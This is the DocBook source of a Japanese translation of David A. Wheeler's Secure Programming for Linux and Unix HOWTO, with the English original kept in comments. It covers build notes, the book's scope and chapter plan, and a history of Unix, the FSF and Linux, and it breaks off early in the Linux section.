<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook V4.1//EN">

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- "Secure Programming for Linux and Unix HOWTO",
     Copyright (C) 1999-2002 David A. Wheeler
     http://www.dwheeler.com/secure-programs  -->

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- WARNING!!! This book is MUCH LARGER than the tiny little HOWTO's
     that you may be used to, and I've found that you have to
     reconfigure certain tools and use some tools carefully
     for this book to be produced properly.

     TeX's default save-size is TOO SMALL to print this large book.
     You need to modify the Tex configuration file "texmf.cnf"; this is in
     "/usr/share/texmf/web2c" on Red Hat Linux 7.1, and in "/etc" on some
     other systems.  Change the entry saying:
        save_size.pdfjadetex = 5000
     to a larger size, say:
        save_size.pdfjadetex = 30000
 
     Also, for printing you need to change the style slightly using the
     "-d" option, such as:
       db2ps -d dwheeler-book-style.dsl Secure-Programs-HOWTO.sgml
     Otherwise, the URLs run right off the right-hand side of the page
     in the printed versions and it's really awful.

     When generating the PDF, generate the Postscript and then
     translate that to PDF.  That has its disadvantages, but the
     "db2pdf" can't handle figures properly (the TeX intermediate stage
     can't handle .eps, and DocBook won't let you insert .pdf).
     Ideally mediaobject would be more flexible than this..!

     This is a book, so it should follow book conventions.  This means
     the first pages should be numbered with roman numerals
     (the first page of chapter 1 becomes page 1), and that chapters always
     begin on the right-hand side (odd numbered pages).  Currently, the
     Docbook tools don't do this - UGH!  However, there are patches to do it -
     http://www.mail-archive.com/docbook-apps@lists.oasis-open.org/msg02364.html
     (Re: DOCBOOK-APPS: preface page numbering)
     From: camille 
     Subject: Re: DOCBOOK-APPS: preface page numbering 
     Date: Fri, 24 Aug 2001 00:41:15 -0700 
     Mentions this - apply twosidestartonright.patch.bz2 and features.patch.bz2
     (had to change the %top-margin% when using the patched openjade).
     The "features" patch (Francis J. Lacoste's) must be applied first.
-->


<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This is a sample comment.
     This book has had more titles than I'd like to think about. It was
     originally titled "How to Write Secure Programs for Linux", then
     "Design and Implementation Guidelines for Secure Linux Applications".
     I first released it widely as the
     "Secure Programming for Linux HOWTO", and then it morphed into the
     "Secure Programming for Linux and Unix HOWTO".

     You can get the latest version of this book from:
     http://www.dwheeler.com/secure-programs/

     Note that this is the DocBook DTD version!
     To process it, get DocBook tools. If you are using Cygnus's tools, do this:
       db2html Secure*.sgml
       db2ps   Secure*.sgml

    Earlier versions through version 1.60 used the Linuxdoc DTD;
    Version 2.00 has the same content as 1.60, but in DocBook format.
    While the book is now legal DocBook content, it's not "fully"
    marked-up; suggestions on missing markings welcome.


-->

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!--
??? Need to add material from Oliver Friedrichs <of@securityfocus.com>
http://www.securityfocus.com/forums/secprog/secure-programming.html
backup copy at:
http://www.cli.di.unipi.it/~zoppi/docs/secprog.html
now cached at:
http://www.google.com/search?q=cache:DpVgMo24NZQ:www.securityfocus.com/forum
s/secprog/secure-programming.html+%22Oliver+Friedrichs%22+%22secure+programm
ing%22&hl=en
especially code examples.  This will add Windows-related material, so
I'll change the title to be more inclusive and add summary materials about
Windows' security approaches.  This will involve a modification of many
areas, since most of the text assumes a Unix-like only viewpoint.

??? Should look at Razvan Peteanu <razvan.peteanu@home.com>'s material at
http://members.home.net/razvan.peteanu/Best%20Practices%20for%20Secure%20Web
%20Development%203.0.pdf
to see if I've missed anything.

??? Examine other material:
LSAP FAQ http://lsap.org/faq.txt
http://www.w3.org/Security/Faq/www-security-faq.html
http://security.devx.com/ See Best Defense Tab & more defense articles.
http://members.home.net/razvan.peteanu/
http://www.shmoo.com/securecode/
http://www.securityfocus.com/frames/?content=/forums/secprog/intro.html  A listserve on the subject.
http://heap.nologin.net/aspsec.html
http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html
http://portal.suse.de/en/content.php?3occccccccccccccccccccmccccccccacocccccccococcccccccccccccccc&content/security/secprog1.html
http://portal.suse.de/en/content.php?3occccccccccccccccccccmccccccccacocccccccococcccccccccccccccc&content/security/secprog2.html
http://portal.suse.de/en/content.php?3occccccccccccccccccccmccccccccacocccccccococcccccccccccccccc&content/security/secprog3.html
and so on till
http://portal.suse.de/en/content.php?3occccccccccccccccccccmccccccccacocccccccococcccccccccccccccc&content/security/secprog8.html
Good developer oriented resources:
http://www-106.ibm.com/developerworks/security/
http://www.boran.com/security/it13-applications.html

Some code review sites:
http://www.homeport.org/~adam/review.html
http://www.mozilla.org/hacking/reviewers.html
http://www.dnaco.net/~kragen/security-holes.html

I have other links at http://heap.nologin.net/programming.html which may be
of interest, but those seemed most relevant.




-->


<book>

<bookinfo>

<!-- bookbiblio -->

<title>Secure Programming for Linux and Unix HOWTO</title>
<authorgroup>
<author>
<firstname>David</firstname> <othername role="mi">A.</othername><surname>Wheeler</surname>
<affiliation>
<address><email>dwheeler@dwheeler.com</email></address>
</affiliation>
</author>
<othercredit role="translator" lang="ja">
<surname>高橋</surname><firstname>聡</firstname>
<contrib>日本語訳</contrib>
	<affiliation>
		<address><email>hisai@din.or.jp</email></address>
	</affiliation>
</othercredit>
</authorgroup>

<pubdate>v2.962, 12 March 2002</pubdate>
<edition>v2.962</edition>
<!-- FYI: The LDP claims they don't use the "edition" tag.  -->
<copyright>
 <year>1999</year>
 <year>2000</year>
 <year>2001</year>
 <year>2002</year>
 <holder>David A. Wheeler</holder>
</copyright>

<legalnotice>
<para>
This book is Copyright (C) 1999-2002 David A. Wheeler.
Permission is granted to copy, distribute and/or modify
this book under the terms of the GNU Free Documentation License (GFDL),
Version 1.1 or any later version published by the Free Software Foundation;
with the invariant sections being ``About the Author'',
with no Front-Cover Texts, and no Back-Cover texts.
A copy of the license is included in the section entitled
"GNU Free Documentation License".
This book is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
</para>
</legalnotice>

<abstract>
<para>
<!--
This book provides a set of design and implementation
guidelines for writing secure programs for Linux and Unix systems.
Such programs include application programs used as viewers of remote data,
web applications (including CGI scripts),
network servers, and setuid/setgid programs.
Specific guidelines for C, C++, Java, Perl, PHP, Python, TCL,
and Ada95 are included.
-->
この文書は、Linux および Unix システム上で安全なプログラムを書く際に必要と
なる設計や実装について、そのガイドラインを提供します。
遠隔のデータを見るためのビューアーや Web アプリケーション(CGI スクリプト
を含む)、ネットワーク・サーバ、setuid や setgid してあるプログラムが対象です。
C や C++、Java、Perl、PHP、Python、TCL、Ada95 個別のガイドラインも掲載します。
</para>
</abstract>

<!-- /bookbiblio -->
<keywordset>
  <keyword>secure programming</keyword>
  <keyword>secure programs</keyword>
  <keyword>secure applications</keyword>
  <keyword>secure</keyword>
  <keyword>programming</keyword>
  <keyword>security</keyword>
  <keyword>Linux</keyword>
  <keyword>Unix</keyword>
  <keyword>hack</keyword>
  <keyword>crack</keyword>
  <keyword>vulnerability</keyword>
  <keyword>buffer overflow</keyword>
  <keyword>design</keyword>
  <keyword>implementation</keyword>
  <keyword>web application</keyword>
  <keyword>web applications</keyword>
  <keyword>CGI</keyword>
  <keyword>setuid</keyword>
  <keyword>setgid</keyword>
  <keyword>C</keyword>
  <keyword>C++</keyword>
  <keyword>Java</keyword>
  <keyword>Perl</keyword>
  <keyword>PHP</keyword>
  <keyword>Python</keyword>
  <keyword>TCL</keyword>
  <keyword>Ada</keyword>
  <keyword>Ada95</keyword>
</keywordset>

</bookinfo>

<!-- Begin the book -->


<chapter id="introduction">
<!-- <title>Introduction</title> -->
<title>はじめに</title>

<epigraph>
<!-- <attribution>Proverbs 21:22 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 21 章 22 節</attribution>
<para>
【訳註：聖書の訳は、日本聖書協会 聖書 新共同訳から引用しました。原文の参照元で
ある NIV(New International Version)が改版されていたため、その日本語版
(<ulink url="http://www.gospelcom.net/ibs/bibles/japanese/">http://www.gospelcom.net/ibs/bibles/japanese/</ulink>)
は用いませんでした。以下同様です】
</para>
<!--
A wise man attacks the city of the mighty
and pulls down the stronghold in which they trust. 
-->
<para>
知恵ある人はひとりで勇士たちの町に上り
その頼みとする砦を落とすこともできる。
</para>
</epigraph>

<para>
<!--
This book describes a set of design and implementation guidelines for
writing secure programs on Linux and Unix systems.
For purposes of this book, a ``secure program'' is a program
that sits on a security boundary, taking input from a source that does
not have the same access rights as the program.
Such programs include application programs used as viewers of remote data,
web applications (including CGI scripts),
network servers, and setuid/setgid programs.
This book does not address modifying the operating system kernel itself,
although many of the principles discussed here do apply.
These guidelines were developed as a survey of
``lessons learned'' from various sources on how to create such programs
(along with additional observations by the author),
reorganized into a set of larger principles.
This book includes specific guidance for a number of languages,
including C, C++, Java, Perl, PHP, Python, TCL, and Ada95.
-->
この文書は Linux および Unix システム上で安全なプログラムを書く際に必要と
なる設計や実装について、そのガイドラインを提供します。
この文書の意図する、「安全なプログラム」とは、セキュリティの境界線上に位置し、
そのプログラムとは異なるアクセス権限を持つ接続元からの入力を扱うプログラム
です。
そのようなプログラムには、遠隔のデータを見るためのビューアーを使ったものや、
Web アプリケーション(CGI スクリプトを含む)、ネットワーク・サーバ、setuid 
もしくは setgid してあるプログラムがあります。
この文書では、オペレーティングシステムのカーネル自体の修正は扱いませんが、
これから議論する原則はカーネルに対しても適用できる場合がよくあります。
安全なプログラムをどのように作成するかについて、さまざまな情報源を調べ回った
「教訓」を元に、ガイドラインとして構成し直し、広範に適用できるようにしました
(著者の考えも加えています)。
この文書はいくつかの言語、具体的には C や C++、Java、Perl、PHP、Python、TCL、
Ada95 に固有の手引きも記載しています。
</para>

<para>
<!--
This book does not cover assurance measures, software engineering
processes, and quality assurance approaches,
which are important but widely discussed elsewhere.
Such measures include testing, peer review,
configuration management, and formal methods.
Documents specifically identifying sets of development
assurance measures for security issues include
the Common Criteria [CC 1999]
and the
Systems Security Engineering Capability Maturity Model [SSE-CMM 1999].
More general sets of software engineering processes
are defined in documents such as the
Software Engineering Institute's Capability Maturity Model for Software
(SW-CMM) [Paulk 1993a, 1993b]
and ISO 12207 [ISO 12207].
General international standards for quality systems are defined in
ISO 9000 and ISO 9001 [ISO 9000, 9001].
-->
この文書は、保証基準やソフトウェア・エンジニアリングの工程、品質保証から
見た取り組みについては触れていません。そのような指標は大切ですが、既に
あちこちで議論されています。
テストやピア・レビュー、コンフィギュレーション管理、形式的な各種の方法
がそれに当たります。セキュリティに関連した開発に当たっての保証基準については、
the Common Criteria [CC 1999] や the Systems Security Engineering 
Capability Maturity Model [SSE-CMM 1999] に記載してあります。
ソフトウェア・エンジニアリングの工程全般については Software Engineering 
Institute's Capability Maturity Model for Software (SW-CMM) 
[Paulk 1993a, 1993b] や ISO 12207 [ISO 12207] を参照してください。
高品質なシステムについての国際標準については、ISO 9000 や ISO 9001 
[ISO 9000, 9001] を参照してください。


<!-- 原文でコメントしてあるので訳しません。 -->
<!--
http://www.iso.ch/iso/en/iso9000-14000/iso9000/selection_use/iso9000family.html
Note that ISO 9001-3 is obsolete.
-->
<!-- ??? Ideally have references for these. -->
</para>

<para>
<!--
This book does not discuss how to configure a system (or network)
to be secure in a given environment. This is clearly necessary for
secure use of a given program,
but a great many other documents discuss secure configurations.
An excellent general book on configuring Unix-like systems to be
secure is Garfinkel [1996].
Other books for securing Unix-like systems include Anonymous [1998].
You can also find information on configuring Unix-like systems at web sites
such as
<ulink url="http://www.unixtools.com/security.html">http://www.unixtools.com/security.html</ulink>.
Information on configuring a Linux system to be secure is available in a
wide variety of documents including
Fenzi [1999], Seifried [1999], Wreski [1998], Swan [2001],
and Anonymous [1999].
Geodsoft [2001] describes how to harden OpenBSD,
and many of its suggestions are useful for any Unix-like system.
For Linux systems (and eventually other Unix-like systems),
you may want to examine the Bastille Hardening System, which
attempts to ``harden'' or ``tighten'' the Linux operating system. 
You can learn more about Bastille at
<ulink url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink>;
it is available for free under the General Public License (GPL).
For Windows 2000, you might want to look at
Cox [2000].
The U.S. National Security Agency (NSA) maintains a set of
security recommendation guides at
<ulink url="http://nsa1.www.conxion.com">http://nsa1.www.conxion.com</ulink>,
including the ``60 Minute Network Security Guide.''
-->
この文書では、ある特定の環境にあるシステムやネットワークを安全に設定する方法
については論じません。安全な設定は、あるプログラムを安全に使用するのに必須で
あることは明らかですが、安全に設定することを論じたドキュメントは他にもたくさん
あります。
Unix ライクなシステムを安全に設定することについて述べてある書籍には Garfinkel 
[1996]という素晴らしい作品があります。他にも、Anonymous[1998]というものが
あります。
また Web サイトでも情報を得られます。たとえば <ulink 
url="http://www.unixtools.com/security.html">http://www.unixtools.com/security.html</ulink> 等です。
Linux システムを安全に設定する情報については、さまざまなドキュメントが利用可能
です。Fenzi[1999] や Seifried[1999]、Wreski[1998]、Swan[2001]、
Anonymous[1999] がそれに当たります。
Geodsoft [2001] では OpenBSD をいかに強固にするかといったことに加えて、
Unix ライクなシステムに役に立つ示唆がたくさんあります。
Linux システム(つまるところ他の Unix ライクなシステムも)をターゲットにして
いるなら、Bastille Hardening Systemを調べるのも良いでしょう。このシステムは 
Linux オペレーティングシステムをより強固で厳重にしようとしています。
さらに Bastille について知りたいなら、 <ulink 
url="http://www.bastille-linux.org">http://www.bastille-linux.org</ulink> を
見てください。General Public License (GPL) にしたがって自由に利用できます。
Windows 2000 がターゲットなら Cox[2000] を見るのもよいでしょう。
米国国家安全保障局(The U.S. National Security Agency(NSA)) は、セキュリティに
関しての推奨ガイドを
<ulink url="http://nsa1.www.conxion.com">http://nsa1.www.conxion.com</ulink> 
で整備しています。その中には、「60 Minute Network Security Guide」というもの
もあります。
</para>

<para>
<!--
Configuring a computer is only part of Security Management, a larger
area that also covers how to deal with viruses, what kind of
organizational security policy is needed, business continuity plans, and
so on.
There are international standards and guidance for security management.
ISO 13335 is a five-part
technical report giving guidance on security management [ISO 13335].
Also, ISO/IEC 17799:2000 defines a code of practice [ISO 17799];
its stated purpose
is to ``give recommendations for information security management
for use by those who are responsible for initiating, implementing or
maintaining security in their organization'' (in a broad brush sense;
it's not a technical document).
It's worth noting that ISO/IEC 17799:2000 is quite controversial;
Belgium, Canada, France, Germany, Italy, Japan and the US
voted <emphasis>against</emphasis> its adoption
See the NIST's
<ulink url="http://csrc.nist.gov/publications/secpubs/otherpubs/reviso-faq.pdf">
ISO/IEC 17799:2000 FAQ</ulink>
for more information on this controversy.
The Commonly Accepted Security Practices & Recommendations (CASPR)
project at
<ulink url="http://www.caspr.org">http://www.caspr.org</ulink>
is trying to distill information security knowledge into a series of
papers available to all (under the GNU FDL license, so that future
document derivatives will continue to be available to all).
-->
コンピュータを設定するのは、セキュリティ管理の一部にしかすぎません。
セキュリティ管理は広範な内容をカバーしています。ウイルスへの対処方法や
どのような組織的なセキュリティ・ポリシが必要で、事業継続計画はどうするのか、と
いったこと等を含んでいます。
セキュリティ管理には国際的な基準とガイドラインがあります。
ISO 13335 は全 5 部からなるテクニカル・レポートから構成され、セキュリティ管理
の手引きになっています[ISO 13335]。
また ISO/IEC 17799:2000 では作業標準を定義しています[ISO 17799]。
規定した目的は、「組織にあって、セキュリティ管理を企画、実行し、それを維持
する責任を負う立場の人間に推奨する情報を提供する」ことです(幅広い内容を扱って
います。技術文書ではありません)。
興味深いのは ISO/IEC 17799:2000 の意見が分かれているところです。
ベルギーやカナダ、フランス、ドイツ、イタリア、日本、米国は採択に<emphasis>
反対</emphasis>しました。
議論についての詳細は、NIST(National Institute of Standards and Technology) の
<ulink url="http://csrc.nist.gov/publications/secpubs/otherpubs/reviso-faq.pdf">
ISO/IEC 17799:2000 FAQ</ulink> を見てください。
The Commonly Accepted Security Practices & Recommendations (CASPR)(
<ulink url="http://www.caspr.org">http://www.caspr.org</ulink>)プロジェクトは、
セキュリティ情報を集約し、誰もが利用できるドキュメントの作成に取り組んでいます
(誰もが将来の文書の派生物を入手可能であり続けられるように、GNU FDL ライセンス
としました)。
</para>

<para>
<!--
This book assumes that the reader understands computer
security issues in general, the general security model of Unix-like systems,
networking (in particular TCP/IP based networks),
and the C programming language.
This book does include some information about the Linux and Unix
programming model for security.
If you need more information on how TCP/IP based networks and protocols
work, including their security protocols, consult general works on
TCP/IP such as [Murhammer 1998].
-->
この文書は読者の方がコンピュータのセキュリティ一般や、Unix ライクなシステム
、ネットワーク(特に TCP/IP ベース)、C 言語について理解していることを前提に
しています。
この文書には Linux や Unix でセキュリティを維持するのに必要なプログラミング・
モデルの情報があります。
TCP/IP ベースのネットワークや安全なプロトコルを含むプロトコルの動作に
ついてさらに知りたいなら、[Murhammer 1998] のような TCP/IP 全般について
の資料を調べてください。
</para>

<para>
<!--
This book covers all Unix-like systems, including Linux and the
various strains of Unix, and it particularly stresses Linux and provides
details about Linux specifically.
There's some material specifically on Windows CE, and in fact much of
this material is not limited to a particular operating system.
If you know relevant information not already included here, please let
me know.
-->
この文書は Unix ライクなシステムを全て網羅しています。Linux をはじめ、
さまざまな系列の Unix を含んでいますが、特に Linux に焦点を当て、Linux 
に特化した情報を提供します。
Windows CE に焦点を当てたところもありますが、実際大部分の項目は特定の
オペレーティングシステムに限定されません。
関連した情報でここで触れていない事項があれば、お知らせください。
</para>

<para>
<!--
You can find the master copy of this book at
<ulink url="http://www.dwheeler.com/secure-programs">http://www.dwheeler.com/secure-programs</ulink>.
This book is also part of the Linux Documentation Project (LDP) at
<ulink
url="http://www.linuxdoc.org">http://www.linuxdoc.org</ulink>
It's also mirrored in several other places.
Please note that these mirrors, including the LDP copy and/or the
copy in your distribution, may be older than the master copy.
I'd like to hear comments on this book, but please do not send comments
until you've checked to make sure that your comment is valid for the
latest version.
-->
この文書の原本は、<ulink url="http://www.dwheeler.com/secure-programs">
http://www.dwheeler.com/secure-programs</ulink> にあります。
この文書は Linux Documentation Project (LDP) <ulink 
url="http://www.linuxdoc.org">http://www.linuxdoc.org</ulink> の一部でも
あり、ミラーサイトがいくつか存在しています。ミラーにある LDP のコピーや
ディストリビューションにあるものは、原本よりも古いかもしれないので注意して
ください。
この文書について意見がいただけると助かりますが、最新版をまず確認してから、
送ってください。
</para>

<para>
This book is copyright (C) 1999-2001 David A. Wheeler and is covered by the
GNU Free Documentation License (GFDL);
<!--
see <xref linkend="about-license"> and
<xref linkend="fdl"> for more information.
-->
詳しくは、<xref linkend="about-license"> や <xref linkend="fdl"> を見て
ください。
</para>

<para>
<xref linkend="background">
<!-- discusses the background of Unix, Linux, and security. -->
それでは Unix や Linux、セキュリティの背景について論じます。
<xref linkend="features">
<!--
describes the general Unix and Linux security model,
giving an overview of the security attributes and operations of
processes, filesystem objects, and so on.
This is followed by the meat of this book, a set of design and implementation
guidelines for developing applications on Linux and Unix systems.
The book ends with conclusions in
<xref linkend="conclusion">,
followed by a lengthy bibliography and appendixes.
-->
まず Unix と Linux のセキュリティ・モデル全般について論じています。そのモデルは、
セキュリティに関する属性とプロセスやファイルシステム等の操作について概観します。
そして、この文書の要となる Linux と Unix システム上でアプリケーション開発をするに
当たっての、設計と実装のガイドラインが続きます。
この文章は結論 <xref linkend="conclusion"> で締めくくり、その後に参考文献
一覧と付録がずらっと並びます。
</para>

<!-- 原文でコメントしてあるので訳しません。 -->
<!-- ???: Reference other taxonomies, such as Bisbey's at
     http://seclab.cs.ucdavis.edu/projects/history/papers/bisb78.pdf
     and see if I should (partially) switch to one of them.
-->
<para>
<!--
The design and implementation guidelines are divided into
categories which I believe emphasize the programmer's viewpoint.
Programs accept inputs, process data, call out to other resources,
and produce output, as shown in <xref linkend="abstract-program">;
notionally all security guidelines fit into one of these categories.
I've subdivided ``process data'' into
structuring program internals and approach,
avoiding buffer overflows (which in some cases can also be considered
an input issue),
language-specific information, and special topics.
The chapters are ordered to make the material easier to follow.
Thus, the book chapters giving guidelines discuss
validating all input (<xref linkend="input">),
avoiding buffer overflows (<xref linkend="buffer-overflow">),
structuring program internals and approach (<xref linkend="internals">),
carefully calling out to other resources (<xref linkend="call-out">),
judiciously sending information back (<xref linkend="output">),
language-specific information (<xref linkend="language-specific">),
and finally information on special topics such as how to acquire random
numbers (<xref linkend="special">).
-->
プログラマの観点として重要と考える側面から、設計と実装についてのガイドライン
を分類します。
プログラムは入力を受取り、データを処理し、他のリソースを呼び出し、出力を生成
します。<xref linkend="abstract-program">はこれを図で表わしています。
つまり概念上、セキュリティ・ガイドラインはすべてこれらのカテゴリのどれかに当て
はまります。
さらに「データ処理」を専門的な話題に分類します。その分野とは、プログラム内部の
構造化への取り組み方(<xref linkend="internals">)、バッファオーバー
フロー(入力の問題として検討するケースもあります)の回避、言語に固有の情報です。
章の構成は、順序立てて理解しやすいようにしています。
以上の考えにもとづき、このガイドラインの章立ては次のようになります。入力される
ものすべてを検証する(<xref linkend="input">)、バッファオーバーフローの回避
(<xref linkend="buffer-overflow">)、プログラムのインタフェースと内部構成を
きちんとすること(<xref linkend="internals">)、他のリソースを利用する場合は
慎重に(<xref linkend="call-out">)、情報はえりすぐってフィードバックする
(<xref linkend="output">)、言語固有の問題
(<xref linkend="language-specific">)、そして最後にどのように乱数を得るかと
いった、専門的な話題(<xref linkend="special">)を扱うこととします。
</para>

<figure float="1" id="abstract-program">
    <!-- <title>Abstract View of a Program</title> -->
    <title>プログラム概念図</title>
    <mediaobject>
       <imageobject>
          <imagedata scalefit="1" scale="50" fileref="program.eps" format="eps">
       </imageobject>
       <imageobject>
          <imagedata fileref="program.png" format="png">
       </imageobject>
       <textobject>
          <phrase>
<!--
A program accepts inputs, processes data,
possibly calls out to other programs, and produces output.
-->
プログラムは入力を受取り、データを処理し、場合によっては他のプログラムを
呼び出し、出力を生成する。
          </phrase>
       </textobject>
    </mediaobject>
</figure>

</chapter>

<chapter id="background">
<!-- <title>Background</title> -->
<title>背景</title>

<epigraph>
<!-- <attribution>Ezra 4:19 (NIV)</attribution> -->
<attribution>旧約聖書 エズラ記 4 章 19 節</attribution>
<para>
<!--
I issued an order and a search was made, and it was found that this
city has a long history of revolt against kings and has been
a place of rebellion and sedition.
-->
命じて調べさせたところ、その都は昔から歴代の王に対して反抗し、反逆と反乱を
起こしたことが確認された。
</para>
</epigraph>

<sect1 id="history">
<!-- <title>History of Unix, Linux, and Open Source / Free Software</title> -->
<title>Unix や Linux、オープンソースもしくは フリーソフトウェアについて
</title>

<sect2 id="unix-history">
<title>Unix</title>

<para>
<!--
In 1969-1970, Kenneth Thompson, Dennis Ritchie, and others at
AT&amp;T Bell Labs began developing
a small operating system on a little-used PDP-7.
The operating system was soon christened Unix, a pun on an earlier operating
system project called MULTICS.
In 1972-1973 the system was rewritten in the programming language C,
an unusual step that was visionary: due to this decision, Unix was
the first widely-used operating system that
could switch from and outlive its original hardware.
Other innovations were added to Unix as well, in part due to synergies
between Bell Labs and the academic community.
In 1979, the ``seventh edition'' (V7) version
of Unix was released, the grandfather of all extant Unix systems.
-->
1969 から 1970 年にかけて、Kenneth Thompson 氏と Dennis Ritchie 氏らが
AT&amp;T ベル研究所において、ほとんど使われていない PDP-7 上で、ちょっとした
オペレーティングシステムを開発しはじめました。
そのオペレーティングシステムはまもなく Unix という洗礼名を授かりました。
先に誕生した MULTICS と呼ばれたオペレーティングシステムをもじって
付けられました。
1972 から 1973 年にかけて、C 言語でシステムを書き換え、これによって
思いがけない歴史を歩むことになります。つまりこの決断によって
Unix は オリジナルのハードウェアから独立し、さらに生き長らえる最初の
オペレーティングシステムとなりました。
Unix には他にも新機軸の機能が加わりました。これはベル研究所とアカデミック
なコミュニティとの相乗効果のおかげでした。
1979 年に「seventh edition」 (V7)と呼ばれるバージョンの Unix がリリース
され、現存している Unix システムすべての始祖が誕生しました。

</para>

<para>
<!--
After this point, the history of Unix becomes somewhat convoluted.
The academic community, led by Berkeley, developed a variant called the
Berkeley Software Distribution (BSD), while AT&amp;T continued developing
Unix under the names ``System III'' and later ``System V''.
In the late 1980's through early 1990's
the ``wars'' between these two major strains raged.
After many years each variant adopted many of the key features of the other.
Commercially, System V won the ``standards wars'' (getting most of its
interfaces into the formal standards), and
most hardware vendors switched to AT&amp;T's System V.
However, System V ended up incorporating many BSD innovations, so the
resulting system was more a merger of the two branches.
The BSD branch did not die, but instead became widely used
for research, for PC hardware, and for
single-purpose servers (e.g., many web sites use a BSD derivative).
-->
この時点から Unix はいささか混迷期に入り込みます。
アカデミックな世界では、バークレイ校がリーダーとなり Berkeley Software 
Distribution (BSD)と言われる系列を開発しました。一方 AT&amp;T は Unix を
「System III」という名で開発し続け、それが後に「System V」となりました。
1980 年の後半から 1990 年の前半にかけて、この 2 つのメジャーな系列間で
「戦争」が勃発しました。
その後何年もそれぞれの系列は、相手の重要な機能の多くを取り入れあいました。
商用である System V が「標準化戦争」に打ち勝ち(そのインタフェースのほとんど
が公式の標準になりました)、ハードウェアベンダーの大部分が AT&amp;T の 
System V に移行しました。
しかし、System V は BSD の革新的な技術をたくさん組み込んでいて、結局は 2 つの
支流を 1 つに統合したシステムとなりました。
BSD 派は生き長らえ、研究分野や PC ハードウェア用、専用サーバ(たとえば Web 
サイトは BSD の流れを汲むシステムを使っている場合が多い)として広く利用される
ようになりました。
</para>

<para>
<!--
The result was many different versions of Unix,
all based on the original seventh edition.
Most versions of Unix were proprietary and maintained by their respective
hardware vendor, for example, Sun Solaris is a variant of System V.
Three versions of the BSD branch of Unix ended up as open source:
FreeBSD (concentrating on ease-of-installation for PC-type hardware),
NetBSD (concentrating on many different CPU architectures), and
a variant of NetBSD, OpenBSD (concentrating on security).
More general information about Unix history can be found at
<ulink
url="http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm">http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm</ulink>
and
<ulink
url="http://perso.wanadoo.fr/levenez/unix">http://perso.wanadoo.fr/levenez/unix</ulink>.
Much more information about the BSD history can be found in
[McKusick 1999] and
<ulink
url="ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree">ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree</ulink>.
-->
こうして seventh edition を起源とする多彩なバージョンの Unix が存在する結果
になりました。
Unix の大部分のバージョンは、ハードウェアベンダーが所有し、それぞれで
メンテナンスをしています。たとえば Sun の Solaris は System V 系列です。
BSD 系列の Unix の内 3 つのバージョンは、オープンソースになりました。
FreeBSD(PC タイプのハードウェアに簡単にインストールできることを目指す)や 
NetBSD(各種 CPU アーキテクチャ上で動作することを目指す)、NetBSD の系列になる 
OpenBSD(セキュリティに重点を置く)がそれに当たります。
Unix の歩みについてさらに詳細な情報は、
<ulink
url="http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm">http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm</ulink> 
や 
<ulink
url="http://perso.wanadoo.fr/levenez/unix">http://perso.wanadoo.fr/levenez/unix</ulink> にあります。
BSD の歩みについてのさらに詳しい情報は、
<ulink
url="ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree">ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree</ulink> にあります。
</para>

<para>
<!--
A slightly old but interesting advocacy piece that presents arguments
for using Unix-like systems (instead of Microsoft's products) is
<ulink
url="http://web.archive.org/web/20010801155417/www.unix-vs-nt.org/kirch">
John Kirch's paper ``Microsoft Windows NT Server 4.0 versus UNIX''
</ulink>.
-->
少し前になりますが、短いのですが興味深い文書に 
<ulink
url="http://web.archive.org/web/20010801155417/www.unix-vs-nt.org/kirch">
John Kirch's paper ``Microsoft Windows NT Server 4.0 versus UNIX''
</ulink> 
があります。これは Unix ライクなシステムを使うことについて、論争を引き
起こしました。【訳註：日本語訳は、<ulink
url="http://www.anc-tv.ne.jp/~peanuts1/Translation/kirch.net/unix-nt.j.html">
Microsoft Windows NT Server 4.0 と UNIX との比較</ulink>にあります】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Note that researchers prefer Unix-like systems, not Windows; see
     http://www.dyncorp-is.com/darpa/meetings/win98aug/wars.html -->
</para>

</sect2>

<sect2 id="fsf-history">
<title>Free Software Foundation</title>

<para>
<!--
In 1984 Richard Stallman's Free Software Foundation (FSF) began the GNU
project, a project to create a free version of the Unix operating system.
By free, Stallman meant software that could be freely
used, read, modified, and redistributed.
The FSF successfully built a vast number of
useful components, including a C compiler (gcc), an
impressive text editor (emacs), and a host of fundamental tools.
However, in the 1990's the FSF
was having trouble developing the operating system kernel [FSF 1998];
without a kernel the rest of their software would not work.
-->
1984 年に Richard Stallman 氏の Free Software Foundation(FSF)はフリーな 
Unix オペレーティングシステムを作り上げるために GNU プロジェクトを立ち上げ
ました。
Stallman 氏によればフリーとは自由に利用ができ、読むことができ、修正も可能で、
再配布もできることを意味します。
FSF は膨大な数の役に立つ OS の構成要素を開発しました。その中には C コンパイラ
(gcc)や素晴らしいテキスト・エディタ(emacs)他多数の基本的なツール類があります。
しかし、1990 年に FSF はオペレーティングシステムのカーネル開発で問題に
ぶち当たりました[FSF 1998]。それはカーネルなしには残りのソフトウェアが動作
しないという問題です。
</para>

</sect2>

<sect2 id="linux-history">
<title>Linux</title>

<para>
<!--
In 1991 Linus Torvalds began developing an operating system kernel, which
he named ``Linux'' [Torvalds 1999].
This kernel could be combined with the FSF material and other components
(in particular some of the BSD components and MIT's X-windows software) to
produce a freely-modifiable and very useful operating system.
This book will term the kernel itself the ``Linux kernel'' and
an entire combination as ``Linux''.
Note that many use the term ``GNU/Linux'' instead for this combination.
-->
1991 年に Linus Torvalds 氏はオペレーティングシステムのカーネルを開発し
はじめ、それに「Linux」という名前をつけました[Torvalds 1999]。
